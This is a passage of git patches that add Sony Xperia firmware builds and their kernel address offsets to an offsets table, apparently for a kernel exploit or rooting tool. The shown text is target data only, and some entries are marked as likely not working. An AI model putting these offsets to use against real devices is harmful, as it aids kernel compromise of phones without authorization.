"G8441_47.1.A.2.324", - (void *)0xffffff800a8f84a0, (void *)0xffffff800a8f82b0, (void *)0xffffff800a8f4df4, (void *)0xffffff800a614490, (void *)0xffffff800a61de90 }, - // XZ1 Compact { "G8441_47.1.A.8.49", (void *)0xffffff800a903460, (void *)0xffffff800a903270, (void *)0xffffff800a8ffdb4, (void *)0xffffff800a614490, (void *)0xffffff800a61deb0 }, + +#ifdef INCLUDE_MOST_LIKELY_NOT_WORKING_TARGETS + // XZ1 Compact + { "G8441_47.1.A.2.324", + (void *)0xffffff800a8f84a0, (void *)0xffffff800a8f82b0, (void *)0xffffff800a8f4df4, (void *)0xffffff800a614490, (void *)0xffffff800a61de90 }, // XZ1 { "G8341_47.1.A.2.324", (void *)0xffffff800a8f84a0, (void *)0xffffff800a8f82b0, (void *)0xffffff800a8f4df4, (void *)0xffffff800a614490, (void *)0xffffff800a61de90 }, @@ -29,6 +31,7 @@ struct offsets offsets[] = { // XZ Premium dual { "G8142_47.1.A.3.254", (void *)0xffffff800a901460, (void *)0xffffff800a901270, (void *)0xffffff800a8fddb4, (void *)0xffffff800a614490, (void *)0xffffff800a61deb0 }, +#endif // XZ1 Compact { "G8441_47.1.A.16.20", From d66a984b4da1700077d507c02e985dc8c25aaebe Mon Sep 17 00:00:00 2001 From: j4nn <531585+j4nn@users.noreply.github.com> Date: Sat, 8 Feb 2020 00:43:09 +0100 Subject: [PATCH 11/14] add canada and japan targets all offsets extracted from kernels from fully downloaded fw releases G8343_47.1.A.12.150 G8343_47.1.A.12.205 SO-01K_47.1.F.1.105 SO-02K_47.1.F.1.105 SO-04J_47.1.F.1.105 SOV36_47.1.C.9.106 --- jni/offsets.c | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/jni/offsets.c b/jni/offsets.c index fc1c19f..05c90bc 100644 --- a/jni/offsets.c +++ b/jni/offsets.c @@ -48,6 +48,26 @@ struct offsets offsets[] = { // XZ Premium dual { "G8142_47.1.A.16.20", (void *)0xffffff800a903460, (void *)0xffffff800a903270, (void *)0xffffff800a8ffdb4, (void *)0xffffff800a614490, (void *)0xffffff800a61deb0 }, + + // Xperia XZ1 Canada (Freedom) + { "G8343_47.1.A.12.150", + (void *)0xffffff800a904460, (void *)0xffffff800a904270, (void *)0xffffff800a900db4, (void *)0xffffff800a614490, (void *)0xffffff800a61deb0 }, + // Xperia XZ1 Canada (Freedom) + { "G8343_47.1.A.12.205", + (void *)0xffffff800a904460, (void *)0xffffff800a904270, (void *)0xffffff800a900db4, (void *)0xffffff800a614490, (void *)0xffffff800a61deb0 }, + + // Xperia XZ1 SO-01K (Docomo Japan) + { "SO-01K_47.1.F.1.105", + (void *)0xffffff800a904460, (void *)0xffffff800a904270, (void *)0xffffff800a900db4, (void *)0xffffff800a614490, (void *)0xffffff800a61deb0 }, + // Xperia XZ1 Compact SO-02K (Docomo Japan) + { "SO-02K_47.1.F.1.105", + (void *)0xffffff800a903460, (void *)0xffffff800a903270, (void *)0xffffff800a8ffdb4, (void *)0xffffff800a614490, (void *)0xffffff800a61deb0 }, + // Xperia XZ1 SOV36 (AU Japan) + { "SOV36_47.1.C.9.106", + (void *)0xffffff800a904460, (void *)0xffffff800a904270, (void *)0xffffff800a900db4, (void *)0xffffff800a614490, (void *)0xffffff800a61deb0 }, + // Xperia XZ Premium SO-04J (Docomo Japan) + { "SO-04J_47.1.F.1.105", + (void *)0xffffff800a904460, (void *)0xffffff800a904270, (void *)0xffffff800a900db4, (void *)0xffffff800a614490, (void *)0xffffff800a61deb0 }, }; static int get_targetid(char *id, int idsize) From 33547d1fa7f631c04dd2d1aad991025baf1e37f3 Mon Sep 17 00:00:00 2001 From: Yangdongle668 <80711305+Yangdongle668@users.noreply.github.com> Date: Tue, 16 Mar 2021 02:05:44 +0800 Subject: [PATCH 12/14] Update offsets.c --- jni/offsets.c | 3 +++ 1 file changed, 3 insertions(+) diff --git a/jni/offsets.c b/jni/offsets.c index 05c90bc..6f71219 100644 --- a/jni/offsets.c +++ b/jni/offsets.c @@ -68,6 +68,9 @@ struct offsets offsets[] = { // Xperia XZ Premium SO-04J (Docomo Japan) { "SO-04J_47.1.F.1.105", (void *)0xffffff800a904460, (void *)0xffffff800a904270, (void *)0xffffff800a900db4, (void *)0xffffff800a614490, (void *)0xffffff800a61deb0 }, + // Xperia XZ1 701SO (Softbank Ja) + { "701SO_47.1.D.11.103", + (void *)0xffffff800a904460, (void *)0xffffff800a904270, (void *)0xffffff800a900db4, (void *)0xffffff800a614490, (void *)0xffffff800a61deb0 }, }; static int get_targetid(char *id, int idsize) From 862e705b62200ef1a3ff5752bcbe78cf2f41b5e0 Mon Sep 17 00:00:00 2001 From: Yangdongle668 <80711305+Yangdongle668@users.noreply.github.com> Date: Tue, 16 Mar 2021 02:37:43 +0800 Subject: [PATCH 13/14] Update offsets.c --- jni/offsets.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/jni/offsets.c b/jni/offsets.c index 6f71219..0103108 100644 --- a/jni/offsets.c +++ b/jni/offsets.c @@ -68,7 +68,7 @@ struct offsets offsets[] = { // Xperia XZ Premium SO-04J (Docomo Japan) { "SO-04J_47.1.F.1.105", (void *)0xffffff800a904460, (void *)0xffffff800a904270, (void *)0xffffff800a900db4, (void *)0xffffff800a614490, (void *)0xffffff800a61deb0 }, - // Xperia XZ1 701SO (Softbank Ja) + // Xperia XZ1 701SO (Softbank Japan) { "701SO_47.1.D.11.103", (void *)0xffffff800a904460, (void *)0xffffff800a904270, (void *)0xffffff800a900db4, (void *)0xffffff800a614490, (void *)0xffffff800a61deb0 }, }; From ce552c4473b13b8a250b8a9d18550f8f2c573fad Mon Sep 17 00:00:00 2001 From: Yangdongle668 <80711305+Yangdongle668@users.noreply.github.com> Date: Tue, 16 Mar 2021 02:47:32 +0800 Subject: [PATCH 14/14] Revert "Update offsets.c" This reverts commit 862e705b62200ef1a3ff5752bcbe78cf2f41b5e0. --- jni/offsets.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/jni/offsets.c b/jni/offsets.c index 0103108..6f71219 100644 --- a/jni/offsets.c +++ b/jni/offsets.c @@ -68,7 +68,7 @@ struct offsets offsets[] = { // Xperia XZ Premium SO-04J (Docomo Japan) { "SO-04J_47.1.F.1.105", (void *)0xffffff800a904460, (void *)0xffffff800a904270, (void *)0xffffff800a900db4, (void *)0xffffff800a614490, (void *)0xffffff800a61deb0 }, - // Xperia XZ1 701SO (Softbank Japan) + // Xperia XZ1 701SO (Softbank Ja) { "701SO_47.1.D.11.103", (void *)0xffffff800a904460, (void *)0xffffff800a904270, (void *)0xffffff800a900db4, (void *)0xffffff800a614490, (void *)0xffffff800a61deb0 }, };